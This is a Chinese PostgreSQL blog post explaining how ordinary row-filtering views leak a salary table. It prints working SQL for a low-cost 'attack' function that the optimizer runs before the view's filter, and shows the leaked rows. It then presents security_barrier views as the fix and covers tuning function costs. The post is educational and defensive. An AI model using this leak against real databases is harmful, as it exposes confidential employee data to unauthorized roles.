“某大厂”薪水数据泄露，他只是犯了一个所有DBA都会犯的错误！
digoal约 11 分钟点进来之后第一反应是何感想？
A. 果然，我又被骗了，故弄玄虚
B. 肯定和我想的一样，DBA滥用职权，偷看敏感数据
C. 和你想的都不一样，请往下看剧情发展
文中参考文档点击阅读原文打开, 同时推荐2个学习环境:
1、懒人Docker镜像, 已打包200+插件:《最好的PostgreSQL学习镜像》
2、有web浏览器就能用的云起实验室: 《免费体验PolarDB开源数据库》
3、PolarDB开源数据库内核、最佳实践等学习图谱: https://www.aliyun.com/database/openpolardb/activity
“某大厂”薪资数据泄露! 原因大跌眼镜, 居然是因为一个非常普通的数据库功能，谁都有可能犯错
员工薪资在企业内部是非常敏感的信息. 负责薪资系统的DBA身份通常也是神秘兮兮(不是老板亲信哪敢让你管), 当然很多商业数据库有三权分立、SQL审计、敏感信息加密/阻隔(database vault)等功能, 可以避免DBA查看敏感信息.
虽然数据库给了一堆的保护, 如果自己作, 也可能把自己玩死.
来看个case.
普通视图：皇帝的新衣
开发者/DBA设计了一张薪资表:
create table t (
uid int primary key, -- 雇员ID
bid int, -- 部门ID
sa numeric, -- 薪资
info text, -- 额外信息
ts timestamp -- 时间
);
写入一些测试数据:
insert into t select generate_series(1,10000), random()*100, 10000+random()*10000, md5(random()::text), clock_timestamp();
为了隔离不同部门/不同角色能够查看的薪资范围, 开发者决定使用视图来隔离各自的权限, 部门领导, 能看到该部门所有员工的资料, 包括薪资
create view v1 as select * from t where bid=1;
create view v2 as select * from t where bid=2;
对于不同的部门领导, 使用不同的用户连接数据库, 例如r1和r2分别对应bid 1和2两个部门.
create role r1 login;
create role r2 login;
紧接着给r1, r2分别分配v1,v2视图的查询权限.
grant select on v1 to r1;
grant select on v2 to r2;
看起来很完美, r1,r2都不能访问t表, 只能分别访问v1和v2;
postgres=# \c postgres r1
You are now connected to database "postgres" as user "r1".
postgres=> select count(*) from v1;
count
-------
92
(1 row) postgres=> select * from t;
ERROR: permission denied for table t
postgres=> \c postgres r2
You are now connected to database "postgres" as user "r2".
postgres=> select count(*) from v2;
count
-------
103
(1 row)
postgres=> select * from t;
ERROR: permission denied for table t
看起来特别完美是不是? 部门领导只能看到自己管理的员工的薪资, 看不到其他人的薪资.
见证奇迹的时刻到了:
创建一个函数, 输入视图的每个字段, 返回true, 并抛出notice
create or replace function attack(uid int, bid int, sa numeric, info text, ts timestamp) returns boolean as $$
declare
begin
raise notice '%,%,%,%,%', uid,bid,sa,info,ts;
-- 以上语句也能替换为把数据插入到另一张表里面.
return true;
end;
$$ language plpgsql strict;
紧接着把这个函数的代价调整为很低很低
-- 自定义函数默认代价为100, 见 pg_proc.procost
-- 内置函数默认代价为1, 例如 int4 = int4 对应 int4eq 函数
alter function attack(int,int,numeric,text,timestamp) cost 0.00000001;
我们在查询视图时, 带上刚刚新建的函数的条件. 执行计划里面可以看到用了where attack(uid, bid, sa, info, ts) AND (bid = 1)
有趣的事情发生了, 到底时先执行bid=1还是先执行attack(uid, bid, sa, info, ts)?
postgres=# explain select * from v1 where attack(uid,bid,sa,info,ts);
QUERY PLAN
----------------------------------------------------------
Seq Scan on t (cost=0.00..239.00 rows=31 width=61)
Filter: (attack(uid, bid, sa, info, ts) AND (bid = 1))
(2 rows)
扯犊子了，所有薪资数据都曝光了。谁能想到这个普通的功能居然有这么大的安全隐患！DBA有错吗？开发者有错嘛？
因为我把自定义函数代价调到很低, 优化器会优先执行自定义函数, 从而抛出t表所有的记录.
select * from v1 where attack(uid,bid,sa,info,ts); ...
NOTICE: 9993,28,16359.0377597876,c2ff6a783f6a79257e6187e965842eff,2024-06-26 06:07:06.921619
NOTICE: 9994,76,13532.8911275202,f24f2339966cc97297edf238cf5076d6,2024-06-26 06:07:06.921621
NOTICE: 9995,99,15627.3558123044,15faf07a0d20440b0c11ed08f493b9c1,2024-06-26 06:07:06.921624
NOTICE: 9996,59,18762.8543710781,e765936db7a3d2e7e4ea49bbbc9d743a,2024-06-26 06:07:06.921628
NOTICE: 9997,44,19526.6932458098,6fb1313d77c4eb2d7b4e187a290265ce,2024-06-26 06:07:06.92163
NOTICE: 9998,85,19891.7539703478,30f57dcc12b5c47814e6b64a9627b9e7,2024-06-26 06:07:06.921633
NOTICE: 9999,8,17116.8967355812,79ffb84cb902297acf3d647de30571eb,2024-06-26 06:07:06.921636
NOTICE: 10000,61,11415.3377209514,f9aa584a9984c1916820c79df72ebbdc,2024-06-26 06:07:06.921638
薪资是不是全部都泄露了.
读到这里的同学已经学会一招特殊技能，但魔高一尺道高一丈，接着往下看
安全视图：够安全，优化器“漏洞”堵住了
只挖坑不填坑不是我的风格, 接下来讲讲怎么避免以上视图风险?
其实PG从某个版本开始提供了security_barrier的功能, 强制要求优化器先执行视图内部的过滤条件, 再执行视图外面的其他条件, 就能解决这个问题。
postgres=# create or replace view v1 with (security_barrier) as select * from t where bid=1;
CREATE VIEW
postgres=# explain select * from v1 where attack(uid,bid,sa,info,ts);
QUERY PLAN
-----------------------------------------------------------
Subquery Scan on v1 (cost=0.00..240.38 rows=31 width=61)
Filter: attack(v1.uid, v1.bid, v1.sa, v1.info, v1.ts)
-> Seq Scan on t (cost=0.00..239.00 rows=92 width=61)
Filter: (bid = 1)
(4 rows)
自定义函数： 代价优化
前面的例子看完就结束了？不，听说只有优秀的DBA才会发展出下面这项新的优化技能！
当一条SQL使用了多个条件时, 数据库会优先执行代价低的条件, 因为代价低的函数执行完成后, 其他函数需要被调用的次数就变少了, 从而降低整个SQL执行的代价.
op本质上也是function, 例如 int4 = int4 对应 int4eq 函数
funa or funb
funa and funb
可以简单的把函数cost设置为: 单次调用的耗时 * 返回true的条数的概率
总条数 1000
funa 单次耗时100 返回 1 : cost = 100*1/1000.0
funb 单次耗时1 返回 10 : cost = 1*10/1000.0
根据计算 funb < funa , 所以先调用funb
实际耗时 : 1*1000 + 100*10 = 2000
如果先调用funa ?
实际耗时 : 100*1000 + 1*1 = 100001
下面举个例子:
select * from t where uid=1 and sa>10000;
把以上的uid和sa的条件塞入2个函数中
create or replace function f1(int,int) returns boolean as $$
declare
begin
if $1=$2 then
return true;
else
return false;
end if;
end;
$$ language plpgsql strict;
create or replace function f2(numeric,numeric) returns boolean as $$
declare
begin
if $1>$2 then
return true;
else
return false;
end if;
end;
$$ language plpgsql strict;
select * from t where f1(uid,1) and f2(sa,10000); 等价于
select * from t where uid=1 and sa>10000;
sa>10000 返回很多行, uid=1 返回几十行. 所以很显然, 先执行uid=1的话, SQL整体耗时会更短.
postgres=# alter function f2 cost 100;
ALTER FUNCTION
postgres=# alter function f1 cost 1;
ALTER FUNCTION
postgres=# explain (analyze,timing) select * from t where f1(uid,1) and f2(sa,10000);
QUERY PLAN
---------------------------------------------------------------------------------------------------
Seq Scan on t (cost=0.00..2739.00 rows=1111 width=61) (actual time=0.359..11.909 rows=1 loops=1)
Filter: (f1(uid, 1) AND f2(sa, '10000'::numeric))
Rows Removed by Filter: 9999
Planning Time: 0.194 ms
Execution Time: 11.947 ms
(5 rows) postgres=# explain (analyze,timing) select * from t where f1(uid,1) and f2(sa,10000);
QUERY PLAN
---------------------------------------------------------------------------------------------------
Seq Scan on t (cost=0.00..2739.00 rows=1111 width=61) (actual time=0.085..10.838 rows=1 loops=1)
Filter: (f1(uid, 1) AND f2(sa, '10000'::numeric))
Rows Removed by Filter: 9999
Planning Time: 0.418 ms
Execution Time: 10.878 ms
(5 rows)
先执行sa>10000的话, SQL整体耗时会更长.
postgres=# alter function f1 cost 100;
ALTER FUNCTION
postgres=# alter function f2 cost 1;
ALTER FUNCTION
postgres=# explain (analyze,timing) select * from t where f1(uid,1) and f2(sa,10000);
QUERY PLAN
---------------------------------------------------------------------------------------------------
Seq Scan on t (cost=0.00..2739.00 rows=1111 width=61) (actual time=0.343..19.525 rows=1 loops=1)
Filter: (f2(sa, '10000'::numeric) AND f1(uid, 1))
Rows Removed by Filter: 9999
Planning Time: 0.142 ms
Execution Time: 19.573 ms
(5 rows) postgres=# explain (analyze,timing) select * from t where f1(uid,1) and f2(sa,10000);
QUERY PLAN
---------------------------------------------------------------------------------------------------
Seq Scan on t (cost=0.00..2739.00 rows=1111 width=61) (actual time=0.077..17.342 rows=1 loops=1)
Filter: (f2(sa, '10000'::numeric) AND f1(uid, 1))
Rows Removed by Filter: 9999
Planning Time: 0.156 ms
Execution Time: 17.377 ms
(5 rows)
本文介绍了利用优化器的执行逻辑, 从普通视图中获取本不该被看到的敏感信息的方法, 以及多条件SQL的深入优化方法. 同时也介绍了使用安全视图规避用户利用优化器执行逻辑获取敏感信息的方法.
你掌握了吗?
参考
《PostgreSQL leakproof function in rule rewrite("attack" security_barrier views)》
《PostgreSQL views privilege attack and security with security_barrier(视图攻击)》
《PostgreSQL 转义、UNICODE、与SQL注入》
还没有完，下面的几十个坑你有没有兴趣了解一下？
本期彩蛋1- PG中文社区峰会7月在杭州举行
本期彩蛋2: 一款优秀的数据库自动诊断和监控优化工具，据说能让DBA体会到上班的辛福感：
文章中的参考文档请点击阅读原文获得.
欢迎关注我的github (https://github.com/digoal/blog) , 学习数据库不迷路.
近期正在写公开课材料, 未来将通过视频号推出, 欢迎关注视频号: